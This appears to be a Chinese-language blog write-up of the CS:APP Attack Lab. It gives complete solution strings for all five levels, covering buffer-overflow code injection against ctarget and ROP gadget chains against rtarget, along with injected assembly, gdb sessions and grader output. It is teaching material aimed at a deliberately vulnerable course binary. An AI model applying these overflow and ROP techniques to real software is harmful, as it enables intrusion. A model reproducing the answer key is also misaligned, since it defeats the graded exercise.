实验答案托管在我的Github

花了一天时间于2017年5月4日完成了《深入理解计算机系统》的第三个Lab - Attack Lab。这个实验对应于书本第三章:程序的机器级表示中,缓冲区溢出攻击部分。

实验简介

Attack Lab是Buffer Lab的64位版本。在这个实验中,目标是通过代码注入攻击(Code Injection Attack)和返回导向编程(Return Oriented Programming)两种攻击方式,分别修改具有缓冲区溢出漏洞的两个x86_64可执行文件的行为。

本实验主要加深了对于栈规则的理解,以及说明了缓冲区溢出漏洞可能造成的危险后果。

本实验使用了官网给出的自学者讲义中的Ubuntu 12.4 targets,并且使用了运行时参数-q来避免该程序连接远程的计分服务器。

实验准备

实验讲义中的target1.tar主要包含了以下文件:

  • README.txt 描述了目录内容
  • ctarget 一个易受代码注入攻击的可执行程序
  • rtarget 一个易受返回导向编程攻击的可执行程序
  • cookie.txt 在攻击中用到的唯一标识符,是8位的16进制代码
  • farm.c 目标程序的”Gadget Farm”的源代码,你将利用这些代码去生成返回导向编程攻击
  • hex2raw 一个生成攻击字符串的工具

注意事项

答案不能使用攻击去避免程序的正确性检查代码。具体来说,ret指令返回的目的地只能是以下3种:

  • 函数touch1, touch2, touch3的地址
  • 攻击注入代码的地址
  • gadget farm中gadgets的地址

rtarget中只能用函数start_farm和函数end_farm之间的函数来生成gadget。

目标程序

目标程序ctarget和rtarget都使用getbuf函数从标准输入流中读取字符串,getbuf函数如下:

1
2
3
4
5
6
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}

Gets函数同标准库函数gets相似,其从标准输入流中读入以’\n’或者是EOF结尾的字符串并且将其存储在制定的地址。在这段代码中,目标地址是一个长BUFFER_SIZE的字符数组。
但同时Gets()和gets()都不具备检测目的缓冲区是否足够大以存储输入的字符串的功能,因此可能存在缓冲区溢出的风险。在本次实验中,我们要利用该缓冲区溢出漏洞,改变目标程序的行为。

对于自学者来说,运行target的程序的时候需要带上参数-q以避免其连接并不存在的计分服务器。同时需要注意,用来生成攻击字符串的16进制的代码的任意中间位置都不能包含0a,因为其ascii表示是’\n’,在其之后的任意代码都不会被目标程序读入了。

实验过程及分析

第1部分 代码注入(Code Injection)攻击

本部分总共包含3个阶段,需要生成相应的攻击字符串去攻击ctarget。目标文件ctarget的栈位置是固定的,并且栈上的代码可执行。这为我们的代码注入攻击提供了机会。

等级1

阶段一不需要注入自己的代码,攻击字符串只需要将程序重定向至已有的过程即可。

在ctarget中,函数getbuf被test函数调用,而test函数如下:

1
2
3
4
5
6
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

现在我们需要修改程序的行为,让程序从getbuf返回时不返回到test函数中,而跳转至touch1函数。函数touch1如下:
1
2
3
4
5
6
7
void touch1()
{
vlevel = 1;
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}

首先,我们对于目标可执行程序ctarget使用objdump -d ctarget > ctarget-disassemble生成ctarget的反汇编代码。然后观察反汇编代码中的getbuf函数,如下:

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

通过观察sub $0x28,%rsp可以知道,getbuf在局部栈上开辟了大小为40个字节的空间,据此我们可以推测BUFFER_SIZE为40。那么,如果我们输入的字符串长度超过了40个字节,就会造成缓冲区溢出。

这里我们需要复习一下函数栈帧的相关知识。被调用者Q的栈帧自栈底(高地址)到栈顶(低地址)包括了被保存的寄存器,局部变量和参数构造区。而调用者Q的栈帧自栈底到栈顶包括了参数以及返回地址。

对于getbuf函数来说,不存在被保存的寄存器,在缓冲区溢出之后,溢出的字符会直接覆盖调用者栈帧中的返回地址。因此,直接使用touch1的起始地址作为溢出的字符串覆盖返回地址即可。

我们观察反汇编代码中touch1函数的起始地址,如下:

1
00000000004017c0 <touch1>:

据此可以得出攻击代码的16位表示如下:
1
2
3
4
5
6
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
c0 17 40 00 00 00 00 00

其中,前40个字节的内容无关紧要(只要不是0a即可),因为它们属于未溢出的部分。这段攻击代码中而真正起作用的是缓冲区溢出的部分,即最后的8个字节。同时要注意到x86_86的机器是小端表示的字节序,即低位放在低字节,高位放在高字节,并且栈的增长方向是由低地址增长到高地址。所以最后8个字节的顺序为 c0 17 40 00 00 00 00 00。
下面我们使用hex2raw生成攻击字符串并测试。结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level1/level1.txt|./hex2raw|./ctarget -q
数Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 C0 17 40 00 00 00 00 00

本阶段完成。

等级2

阶段2需要在攻击字符串中注入少量的代码。

在ctarget中,函数touch2如下:

1
2
3
4
5
6
7
8
9
10
11
12
void touch2(unsigned val)
{
vlevel = 2;
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: you called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}

任务是让ctarget执行函数touch2的代码而不是直接返回到test函数。并且,你必须假装你已经传递了cookie的值作为touch2的参数。

考虑到在ctarget中,栈地址固定以及允许在栈上执行代码,所以我们可以通过缓冲区溢出漏洞将返回地址指定到栈上,在栈上执行相应的指令,为函数touch2设置参数,最后再从栈上返回至touch2函数即可。

同阶段一相似,攻击代码的前40个字节无关紧要(只要不是0a),第41-48个字节指定了getbuf的返回地址,为了让函数能返回到栈上执行代码,我们需要知道栈地址。

使用gdb加载ctarget,并为getbuf函数设置断点,执行程序,当程序因为断点而暂停的时候打印rsp的值。具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q
Starting program: /home/zhihaochen/CSAPPLabs/AttackLab/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12 buf.c: 没有那个文件或目录.
(gdb) print /x $rsp
$1 = 0x5561dca0

从中可以得出结论,ctarget在执行getbuf时的栈地址(指向返回地址)为0x5561dca0。因此我们应该将返回地址指定为0x5561dca8。

然后我们用gcc和objdump来生成攻击代码。首先新建一个exploit.s文件,并在其中编写相应的攻击代码,如下:

1
2
3
mov $0x59b997fa, %edi ;设置cookie为参数
add $16, %rsp ;将rsp指向下一个返回地址(函数touch2的地址)
ret ;返回

其中add $16,%rsp的值可能需要修改,这是因为我们无法确定这段汇编代码反汇编后占多少字节。同时,我们也要保证rsp移动的位数是8的倍数,这是栈的特性(即push和pop时操作数据的大小为一个机器字长)决定的。

写完了攻击代码后,我们依次使用gcc -c exploit.s以及objdump -d exploit.o > exploit.d将攻击代码汇编和反汇编。具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
user@BlackDragon ~/C/A/t/s/c/level2> gcc -c exploit.s                                             
user@BlackDragon ~/C/A/t/s/c/level2> objdump -d exploit.o > exploit.d
user@BlackDragon ~/C/A/t/s/c/level2> cat exploit.d

exploit.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: bf fa 97 b9 59 mov $0x59b997fa,%edi
5: 48 83 c4 10 add $0x10,%rsp
9: c3 retq

总共是10个字节,小于16个字节,因此源攻击代码中的add $16,%rsp可以直接使用,无需继续更改。
最后我们在ctarget-disassemble中观察函数touch2的起始地址,如下:
1
00000000004017ec <touch2>:

根据以上的信息,我们最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
a8 dc 61 55 00 00 00 00 /* 返回地址 指向下8个字节 */
bf fa 97 b9 59 48 83 c4
10 c3 00 00 00 00 00 00 /* 攻击代码 */
ec 17 40 00 00 00 00 00 /* 返回地址 指向函数touch2 */

下面我们使用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level2/level2.txt|./hex2raw|./ctarget -q     
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 A8 DC 61 55 00 00 00 00 BF FA 97 B9 59 48 83 C4 10 C3 00 00 00 00 00 00 EC 17 40 00 00 00 00 00

本阶段完成。

等级3

阶段3同样包含了代码注入攻击,但是这次需要将一个字符串作为参数传入。
在ctarget中,函数hexmatch和touch3的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie,sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}

任务是让程序执行touch3的代码而不是直接返回到test,你必须假装你已经将一个cookie的字符串表示作为参数传递给了touch3。

该阶段的思路同阶段二相似,不同的是,阶段二要求传递的参数是一个数字,而阶段三要求传递的参数是一个自己构造的字符串的首地址。因此,我们需要将目标字符串也通过缓冲区溢出攻击注入到栈段,并且将其首地址设置为%rdi。

现在我们来构造攻击字符串,首先,同阶段一和阶段二一样,攻击字符串的前40个字符串无关紧要(只要不是0a),第41-48个字节指定了getbuf的返回地址,同阶段二一样,我们将该返回地址设置为0x5561dca8。

接下来我们使用gcc和objdump来生成攻击代码。首先新建一个exploit.s文件,并在其中编写相应的攻击代码,如下:

1
2
3
mov $0x0, %edi ;设置第一个参数指向一个字符串(保留)
add $16, %rsp ;将rsp指向下一个返回地址(函数touch3的地址)
ret ;返回

注意,在构造该攻击字符串的时候,我们还不知道cookie的字符串的表示的首地址。故我们先使用0x0进行占位。生成最后的攻击字符串时只要用相应的栈地址替换0x0即可。

写完攻击代码之后,我们依次使用gcc和objdump进行汇编和反汇编,具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
user@BlackDragon ~/C/A/t/s/c/level3> gcc -c exploit.s                                             
user@BlackDragon ~/C/A/t/s/c/level3> objdump -d exploit.o > exploit.d
user@BlackDragon ~/C/A/t/s/c/level3> cat exploit.d

exploit.o: 文件格式 elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
0: bf 00 00 00 00 mov $0x0,%edi
5: 48 83 c4 10 add $0x10,%rsp
9: c3 retq

在攻击代码之后,栈上紧跟着的应该是该攻击代码的返回地址,毫无疑问,在这里我们需要将返回地址指向函数touch3的起始地址。

现在需要讨论的问题是,字符串应该放在栈上的什么地方?首先我们可以考虑将字符串放置在攻击字符串的前40个字节中。这样,具体的攻击代码如下:

1
2
3
4
5
6
7
8
9
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00 /* 前40个字节 其中最后16个字节保存了cookie的字符串表示 */
a8 dc 61 55 00 00 00 00 /* 返回地址 指向下8个字节 */
bf 90 dc 61 55 48 83 c4 /* 攻击代码 其中将%rdi指向cookie的字符串表示的首地址 */
10 c3 00 00 00 00 00 00
fa 18 40 00 00 00 00 00 /* 返回地址 指向函数touch3 */

下面我们用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level3/level3-2.txt|./hex2raw|./ctarget -q
Cookie: 0x59b997fa
Type string:Misfire: You called touch3("")
FAIL: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:FAIL:0xffffffff:ctarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 A8 DC 61 55 00 00 00 00 BF 90 DC 61 55 48 83 C4 10 C3 00 00 00 00 00 00 FA 18 40 00 00 00 00 00

糟糕,程序出错了,从Misfire: You called touch3(“”)中我们可以看出,%rdi指向的字符串是空字符串。这显然与我们的预期不符。我们的攻击代码理应没有任何问题。那么问题出在哪儿呢?

下面我们将攻击字符串导出成文件并且在gdb中进行调试,具体的操作和结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level3/level3-2.txt|./hex2raw > weirdError
user@BlackDragon ~/C/A/target1> gdb ctarget
GNU gdb (GDB) 7.12.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctarget...done.
(gdb) break getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -i weirdError -q
Starting program: /home/zhihaochen/CSAPPLabs/AttackLab/target1/ctarget -i weirdError -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12 buf.c: 没有那个文件或目录.
(gdb) nexti 5
0x00000000004017bd 16 in buf.c
(gdb) x /16b 0x5561dc90
0x5561dc90: 53 57 98 57 57 55 102 97
0x5561dc98: 0 0 0 0 0 0 0 0
......After Some Steps......
(gdb) disas
Dump of assembler code for function touch3:
0x00000000004018fa <+0>: push %rbx
0x00000000004018fb <+1>: mov %rdi,%rbx
0x00000000004018fe <+4>: movl $0x3,0x202bd4(%rip) # 0x6044dc <vlevel>
0x0000000000401908 <+14>: mov %rdi,%rsi
0x000000000040190b <+17>: mov 0x202bd3(%rip),%edi # 0x6044e4 <cookie>
=> 0x0000000000401911 <+23>: callq 0x40184c <hexmatch>
0x0000000000401916 <+28>: test %eax,%eax
0x0000000000401918 <+30>: je 0x40193d <touch3+67>
0x000000000040191a <+32>: mov %rbx,%rdx
0x000000000040191d <+35>: mov $0x403138,%esi
0x0000000000401922 <+40>: mov $0x1,%edi
0x0000000000401927 <+45>: mov $0x0,%eax
0x000000000040192c <+50>: callq 0x400df0 <__printf_chk@plt>
0x0000000000401931 <+55>: mov $0x3,%edi
0x0000000000401936 <+60>: callq 0x401c8d <validate>
0x000000000040193b <+65>: jmp 0x40195e <touch3+100>
0x000000000040193d <+67>: mov %rbx,%rdx
0x0000000000401940 <+70>: mov $0x403160,%esi
0x0000000000401945 <+75>: mov $0x1,%edi
0x000000000040194a <+80>: mov $0x0,%eax
(gdb) x /16b 0x5561dc90
0x5561dc90: 53 57 98 57 57 55 102 97
0x5561dc98: 0 0 0 0 0 0 0 0
(gdb) nexti
0x0000000000401916 73 in visible.c
(gdb) x /16b 0x5561dc90
0x5561dc90: 0 -98 119 -23 120 13 -32 -89
0x5561dc98: -112 -36 97 85 0 0 0 0

我们可以注意到,在函数touch3调用函数hexmatch的前后,0x5561dc90指向的内存并不是我们一开始注入的cookie的字符串表示,而是被填充了其他的数据。这是由于调用新的函数(hexmatch以及hexmatch调用的函数)使得栈帧继续向下增长,从而覆盖了原先我们注入的数据的原因。

我们可以在gdb中实际的运行一下ctarget来得出执行hexmatch函数到底会覆盖多少栈空间,然后根据结果重写我们的攻击代码。
但是我在这里采用了另外一种方法是直接将cookie的字符串表示写到攻击代码的最后,这样,这段字符串将会处于相对的高地址,由于栈的增长方向是从高地址到低地址,这样,注入的字符串将绝对不会因函数调用而被覆盖。

最终,我们的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
a8 dc 61 55 00 00 00 00 /* 返回地址 指向下8个字节 */
bf c0 dc 61 55 48 83 c4
10 c3 00 00 00 00 00 00 /* 攻击代码 其中将%rdi指向字符串的首地址(栈的高地址)*/
fa 18 40 00 00 00 00 00 /* 返回地址 指向函数touch3 */
35 39 62 39 39 37 66 61 /* cookie的字符串表示 共9个字节(包括'/0') */
00

用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/ctarget/level3/level3.txt|./hex2raw|./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 A8 DC 61 55 00 00 00 00 BF C0 DC 61 55 48 83 C4 10 C3 00 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

本阶段完成。

第二部分 返回导向编程(Return-Oriented Programming)攻击

为了对抗缓冲区溢出攻击,现代编译器和操作系统采用了很多机制。第二部分的目标文件rtarget就采用了以下两种技术:

  • 栈随机化技术,每一次运行程序时,栈的起始位置都是不固定的,几乎不可能确定你攻击代码在栈上的位置。
  • 禁止执行栈上的代码,所以当你尝试将PC指向栈段的时候,程序只能因Segmentation Fault而退出。

下面我们引入返回导向编程(Return-Oriented Programming)技术来实现在以上两种限制情况下执行代码。

C语言程序是由若干的函数组成的,每一个函数都以ret结束,下面我们给出一个函数,如下:

1
2
3
4
void setval_210(unsigned *p)
{
*p = 3347663060U;
}

以及这个函数的反汇编结果,如下:
1
2
3
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

尽管栈随机化以及禁止在栈段执行代码,但是通过缓冲区溢出攻击,我们仍然可以覆盖返回地址并且让PC跳转至代码段的相应位置。例如让getbuf返回后跳转至0x400f15,尽管这看起来并没有什么意义,因为程序的代码和我们攻击的代码的逻辑是不同的,攻击代码和程序已有代码相同的可能性几乎是0。

现在,让我们换一个思路,如果让getbuf返回后跳转到0x400f18,会怎么样呢?

从0x400f18开始的三个字节48 89 c7代表的是movq %rax, %rdi,然后紧跟的c3代表的是ret。在攻击中,这段代码就比movl $0xc78948d4,(%rdi) ret这样的代码更有意义。并且当这段代码执行完毕,ret又迫使程序跳转到下一个返回地址指向的地方。

现在我们可以利用程序本身的代码,构造出一组由不同的返回地址组成的攻击代码,每一个返回地址都指向了一个函数的最末尾的若干字节,由ret结尾。这样,程序就会按照我们设计的顺序依次执行这些代码片段,以达到修改程序行为的结果,这就是返回导向编程。这些代码片段被称作gadget,而这些gadgets共同组成了一个gadget farm。

等级2

在阶段4中,我们将重复阶段2的攻击,只是这一次目标文件为rtarget。为了简化期间,在本次实验中,你仅能从gadget farm中利用movq,popq,ret,nop这四种类型的指令以及x86_64的前8个寄存器(%rax-%rdi)的gadget去构造答案。并且在阶段4中,你只能使用farm.c中start_farm()和mid_farm()之间的gadget来实现攻击。

当一个gadget用到了popq指令,它将会从栈中pop数据,因此,你的攻击代码将会同时包括gadget地址以及数据。

阶段4的思路很简单,我们只要首先从栈中将cookie的8位数字pop到一个寄存器中,再使用mov指令将该寄存器的值送入%rdi中,或者更加直接,将cookie从栈中pop至%rdi中,最后再将返回地址设置为touch2即可。具体要看gadget farm中都提供了哪些gadgets。

我们首先观察gadget_farm中的相关gadgets,并决定其是否可以用作攻击。根据上述的思路,我们可以得到两个gadget set_val426及getval_280,它们的反汇编代码如下:

1
2
3
4
5
6
7
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq

00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq

setval_426中的48 89 c7 90 c3可以被解释为mov %rax,%rdi nop ret,而getval_280中的58 90 c3可以被解释为pop %rax nop ret。
将这两个gadget结合,即可以得到阶段4的结果,如下:
1
2
3
4
5
6
7
8
9
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
cc 19 40 00 00 00 00 00 /* pop %rax */
fa 97 b9 59 00 00 00 00 /* cookie */
c5 19 40 00 00 00 00 00 /* mov %rax,%rdi */
ec 17 40 00 00 00 00 00 /* touch2 */

用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/rtarget/level2/level2.txt|./hex2raw|./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00

本阶段完成。

等级3

在阶段5中,我们将在rtarget中重复阶段3的攻击,即将目标字符串的首地址作为参数传递给函数touch3。这是所有阶段中最难的一个阶段。

首先,考虑到代码段部分以及栈段部分的地址的高4字节都是0,以及x86下任何以32位寄存器作为目标寄存器的指令都会将该寄存器的高4字节置0,我们同样可以使用movl替代movq。

在本阶段中,我们显然是需要将cookie的字符串表示存入栈段的,这个阶段的核心问题是如何定位该字符串的首地址,在栈地址随机的情况下,这是很难的。

首先想到的是利用mov指令将%rsp的值送入另一个寄存器,但是在执行这样的gadget时,寄存器rsp指向的是下一个gadget的返回地址,而不是字符串的首地址,而如果让其指向字符串的首地址,那么又无法在最后返回到函数touch3。

我在做这个实验的时候,在这里卡了很久。最后才注意到在gadget farm中有一个叫做add_xy的函数,这个函数的功能是将%rdi与%rsi相加并保存至%rax,豁然开朗。做题目(进行攻击)的时候还是不能太死板,一定要充分利用目标程序本身提供的代码,一味地按照固有的套路做有时只会浪费时间和精力。

整个阶段5的思路如下,首先将rsp存入某个寄存器之中,然后再将一个特定的常量pop至另一个寄存器之中,最后将这两个值分别存入%rsi和%rdi,调用add_xy将其相加得到字符串的首地址,并将结果%rax存入%rdi之中,最后再调用函数touch3即可。

受制于gadget的种类,我们可能会用到多个gadget做中转。最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 /* 前40个字节 */
06 1a 40 00 00 00 00 00 /* mov %rsp,%rax */
a2 19 40 00 00 00 00 00 /* mov %rax,%rdi <- %rax指向的地址*/
ab 19 40 00 00 00 00 00 /* pop %rax */
48 00 00 00 00 00 00 00 /* offset constant*/
dd 19 40 00 00 00 00 00 /* mov %eax,%edx */
34 1a 40 00 00 00 00 00 /* mov %edx,%ecx */
13 1a 40 00 00 00 00 00 /* mov %ecx,%esi */
d6 19 40 00 00 00 00 00 /* add_xy */
a2 19 40 00 00 00 00 00 /* mov %rax,%rdi */
fa 18 40 00 00 00 00 00 /* touch3 */
35 39 62 39 39 37 66 61 /* cookie的字符串表示 与前面保存的rsp总共差了9条语句 故常量为0x48*/
00

用hex2raw生成攻击字符串并测试,结果如下:
1
2
3
4
5
6
7
8
9
user@BlackDragon ~/C/A/target1> cat solutions/rtarget/level3/level3.txt|./hex2raw|./rtarget -q                
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 AB 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00

本阶段完成。

注意,在第二部分中,可能使用不同的Gadget去实现相同的攻击效果,答案仅供参考,但并不是唯一的。

至此,整个实验完成。

实验总结

相比与BombLab来说,整个AttackLab总体比较简单,主要需要自行阅读讲义中的材料学习相关的攻击方式并将其运用,考虑到讲义中给出的提示,除了阶段5以外整体不是很难。

在这次实验中,主要的两个问题以及收获:

  • 字节序的问题,需要对栈的增长方向以及小端法的字节序加以理解。
  • ROP攻击要充分利用程序本身,而不是循规蹈矩地盲目寻找Gadgets,这样只会在阶段五卡住。